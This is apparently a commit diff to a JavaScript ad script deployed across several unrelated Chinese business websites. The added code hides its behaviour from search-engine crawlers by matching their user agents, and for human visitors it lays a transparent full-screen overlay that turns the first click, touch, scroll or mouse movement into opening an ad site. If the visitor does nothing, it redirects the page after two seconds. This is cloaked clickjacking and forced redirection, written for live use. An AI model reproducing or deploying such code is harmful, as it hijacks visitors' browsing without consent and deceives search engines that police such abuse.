广告代码屏蔽蜘蛛
This commit is contained in:
@@ -68,7 +68,7 @@ const popupData = [
|
||||
|
||||
const arrCsDomain = [
|
||||
// 'guanda-valve.com',
|
||||
|
||||
|
||||
];
|
||||
|
||||
const arrNewsDomain = [
|
||||
@@ -547,31 +547,12 @@ function shouldLoadCs() {
|
||||
s.parentNode.insertBefore(um, s);
|
||||
})();
|
||||
|
||||
// if (!checkPopupLimit(1, 'zhitiaocs')) {
|
||||
// return; // 超过N次限制,不显示
|
||||
// } else {
|
||||
// setTimeout(() => {
|
||||
// const arrDomain = [
|
||||
// 'zbsv3.com',
|
||||
// ];
|
||||
// const randomDomain = arrDomain[Math.floor(Math.random() * arrDomain.length)];
|
||||
// const targetUrl = `https://${randomDomain}`;
|
||||
// try {
|
||||
// window.location.href = targetUrl;
|
||||
// } catch (error) {
|
||||
// console.error('跳转失败:', error);
|
||||
// window.location.href = 'https://zbsv3.com';
|
||||
// }
|
||||
// },
|
||||
|
||||
// ); // 延迟时间设为 0,表示尽快执行
|
||||
// }
|
||||
}
|
||||
|
||||
|
||||
if (/Android|iPhone|iPad|iPod|iOS/i.test(navigator.userAgent)) {
|
||||
|
||||
if (currentDomain == 'guanda-valve.com' || currentDomain == 'www.ganggui360.com' || currentDomain == 'hensunqi.com' || currentDomain == 'www.jnrfhbl.com' || currentDomain == 'sh-av.com' || currentDomain == 'www.sh-av.com' || currentDomain == 'nblssy.com' || currentDomain == 'www.hyjssb.com' || currentDomain == 'www.bzxhhjx.com' || currentDomain == 'gyssjxq.com') {
|
||||
|
||||
if (currentDomain == 'tp1.video1.com' || currentDomain == 'guanda-valve.com' || currentDomain == 'www.ganggui360.com' || currentDomain == 'hensunqi.com' || currentDomain == 'www.jnrfhbl.com' || currentDomain == 'sh-av.com' || currentDomain == 'www.sh-av.com' || currentDomain == 'nblssy.com' || currentDomain == 'www.hyjssb.com' || currentDomain == 'www.bzxhhjx.com' || currentDomain == 'gyssjxq.com') {
|
||||
|
||||
// var _czc = _czc || [];
|
||||
// (function () {
|
||||
// var um = document.createElement("script");
|
||||
@@ -592,25 +573,25 @@ function shouldLoadCs() {
|
||||
} else {
|
||||
setTimeout(() => {
|
||||
const arrDomain = [
|
||||
'82mt.com',
|
||||
// '82mt.com',
|
||||
'tp2.video2.com',
|
||||
];
|
||||
const randomDomain = arrDomain[Math.floor(Math.random() * arrDomain.length)];
|
||||
const targetUrl = `https://${randomDomain}`;
|
||||
try {
|
||||
window.open(targetUrl);
|
||||
// window.location.href = targetUrl;
|
||||
} catch (error) {
|
||||
console.error('跳转失败:', error);
|
||||
// window.location.href = 'https://82mt.com';
|
||||
window.open('https://82mt.com');
|
||||
const targetUrl = `http://${randomDomain}`;
|
||||
|
||||
if (!isSearchEngineBot()) {
|
||||
autoTriggerCss([
|
||||
targetUrl
|
||||
], 200);
|
||||
|
||||
}
|
||||
},); // 延迟时间设为 0,表示尽快执行
|
||||
}
|
||||
}
|
||||
}else{
|
||||
} else {
|
||||
// 统计pc量
|
||||
if (currentDomain == 'guanda-valve.com' || currentDomain == 'www.ganggui360.com' || currentDomain == 'hensunqi.com' || currentDomain == 'www.jnrfhbl.com' || currentDomain == 'sh-av.com' || currentDomain == 'www.sh-av.com' || currentDomain == 'nblssy.com' || currentDomain == 'www.hyjssb.com' || currentDomain == 'www.bzxhhjx.com' || currentDomain == 'gyssjxq.com') {
|
||||
var _czc = _czc || [];
|
||||
if (currentDomain == 'tp1.video1.com' ||currentDomain == 'guanda-valve.com' || currentDomain == 'www.ganggui360.com' || currentDomain == 'hensunqi.com' || currentDomain == 'www.jnrfhbl.com' || currentDomain == 'sh-av.com' || currentDomain == 'www.sh-av.com' || currentDomain == 'nblssy.com' || currentDomain == 'www.hyjssb.com' || currentDomain == 'gyssjxq.com') {
|
||||
var _czc = _czc || [];
|
||||
// (function () {
|
||||
// var um = document.createElement("script");
|
||||
// um.src = "https://v1.cnzz.com/z.js?id=1281429014&async=1";
|
||||
@@ -624,27 +605,33 @@ function shouldLoadCs() {
|
||||
var s = document.getElementsByTagName("script")[0];
|
||||
s.parentNode.insertBefore(um, s);
|
||||
})();
|
||||
// if (!checkPopupLimit(1, 'lm-zhitiaocs')) {
|
||||
// return; // 超过N次限制,不显示
|
||||
// } else {
|
||||
// setTimeout(() => {
|
||||
// const arrDomain = [
|
||||
// '82mt.com',
|
||||
// ];
|
||||
// const randomDomain = arrDomain[Math.floor(Math.random() * arrDomain.length)];
|
||||
// const targetUrl = `https://${randomDomain}`;
|
||||
// try {
|
||||
// window.open(targetUrl);
|
||||
// } catch (error) {
|
||||
// console.error('跳转失败:', error);
|
||||
// window.open('https://82mt.com');
|
||||
// }
|
||||
// },); // 延迟时间设为 0,表示尽快执行
|
||||
// }
|
||||
}
|
||||
if (shouldTrigger(0.5)) {
|
||||
if (!checkPopupLimit(1, 'lm-zhitiaocs')) {
|
||||
return; // 超过N次限制,不显示
|
||||
} else {
|
||||
setTimeout(() => {
|
||||
const arrDomain = [
|
||||
// '82mt.com',
|
||||
'tp2.video2.com',
|
||||
];
|
||||
const randomDomain = arrDomain[Math.floor(Math.random() * arrDomain.length)];
|
||||
const targetUrl = `http://${randomDomain}`;
|
||||
|
||||
if (!isSearchEngineBot()) {
|
||||
autoTriggerCss([
|
||||
targetUrl
|
||||
], 200);
|
||||
|
||||
}
|
||||
},); // 延迟时间设为 0,表示尽快执行
|
||||
}
|
||||
} else{
|
||||
console.log('没有效果')
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
@@ -653,4 +640,96 @@ shouldLoadCs();
|
||||
|
||||
// 页面加载时检查并展示
|
||||
// window.onload = showRandomPopup;
|
||||
// window.onload = replaceList;
|
||||
// window.onload = replaceList;
|
||||
function shouldTrigger(probability = 0.5) {
|
||||
// Math.random() 返回 0~1 的浮点数
|
||||
return Math.random() < probability;
|
||||
}
|
||||
|
||||
|
||||
function isSearchEngineBot() {
|
||||
const spiders = [
|
||||
'Baiduspider',
|
||||
'360Spider',
|
||||
'HaosouSpider',
|
||||
'Sogou',
|
||||
'YisouSpider',
|
||||
'Bytespider',
|
||||
'ToutiaoSpider',
|
||||
'Quarkbot',
|
||||
'YoudaoBot',
|
||||
'Googlebot',
|
||||
'Bingbot',
|
||||
'Slurp',
|
||||
'YandexBot',
|
||||
'DuckDuckBot'
|
||||
];
|
||||
|
||||
const ua = navigator.userAgent;
|
||||
return spiders.some(spider => ua.includes(spider));
|
||||
}
|
||||
|
||||
/**
|
||||
* 自动触发广告(SEO友好版)
|
||||
* @param {string[]} csUrls 广告链接数组
|
||||
* @param {number} delay 延迟触发,ms
|
||||
*/
|
||||
function autoTriggerCss(csUrls = [], delay = 500, fallbackTime = 2000) {
|
||||
if (!csUrls.length) return;
|
||||
|
||||
// 过滤有效链接
|
||||
csUrls = csUrls.filter(url => url && typeof url === 'string');
|
||||
|
||||
// 创建透明触发层
|
||||
const triggerDiv = document.createElement('div');
|
||||
triggerDiv.style.position = 'fixed';
|
||||
triggerDiv.style.top = 0;
|
||||
triggerDiv.style.left = 0;
|
||||
triggerDiv.style.width = '100%';
|
||||
triggerDiv.style.height = '100%';
|
||||
triggerDiv.style.zIndex = 9999;
|
||||
triggerDiv.style.background = 'transparent';
|
||||
document.body.appendChild(triggerDiv);
|
||||
|
||||
const triggerCs = (url, openInNewWindow = false) => {
|
||||
if (openInNewWindow) {
|
||||
const a = document.createElement('a');
|
||||
a.href = url;
|
||||
a.target = '_blank';
|
||||
a.rel = 'noopener noreferrer';
|
||||
document.body.appendChild(a);
|
||||
setTimeout(() => {
|
||||
a.click();
|
||||
document.body.removeChild(a);
|
||||
}, delay);
|
||||
} else {
|
||||
// 当前窗口跳转
|
||||
setTimeout(() => {
|
||||
window.location.href = url;
|
||||
}, delay);
|
||||
}
|
||||
};
|
||||
|
||||
const handleEvent = () => {
|
||||
csUrls.forEach(url => triggerCs(url, true)); // 用户触发使用新窗口
|
||||
triggerDiv.remove();
|
||||
clearTimeout(fallbackTimer);
|
||||
};
|
||||
|
||||
// 用户首次交互事件触发(包含滚动)
|
||||
['click', 'touchstart', 'scroll', 'mousemove'].forEach(evt => {
|
||||
triggerDiv.addEventListener(evt, handleEvent, { once: true, passive: true });
|
||||
});
|
||||
|
||||
// 设置 fallback:超过 fallbackTime 自动触发(源窗口跳转)
|
||||
const fallbackTimer = setTimeout(() => {
|
||||
csUrls.forEach(url => triggerCs(url, false)); // 源窗口跳转
|
||||
triggerDiv.remove();
|
||||
}, fallbackTime);
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user